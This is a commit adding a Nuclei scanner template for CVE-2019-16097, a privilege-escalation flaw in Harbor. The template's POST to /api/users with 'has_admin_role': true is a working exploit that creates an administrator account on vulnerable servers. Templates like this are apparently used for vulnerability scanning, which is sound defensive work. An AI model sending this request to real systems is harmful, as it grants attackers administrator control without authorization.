Create CVE-2019-16097.yaml
parent
30b38bb9d1
commit
c53531cf91
|
@ -0,0 +1,28 @@
|
|||
id: CVE-2019-16097
|
||||
info:
|
||||
name: Harbor Enables Privilege Escalation From Zero to admin
|
||||
author: pikpikcu
|
||||
severity: critical
|
||||
issues: https://github.com/goharbor/harbor/issues/8951
|
||||
refrence: https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
path:
|
||||
- '{{BaseURL}}/api/users'
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
body: |
|
||||
{"username": "nuclei", "has_admin_role": true, "password": "NucleiTest!", "email": "zerozero@example.com", "realname": "nuclei"}
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "username has already been used"
|
||||
part: body
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 201
|
||||
- 409
|
Loading…
Reference in New Issue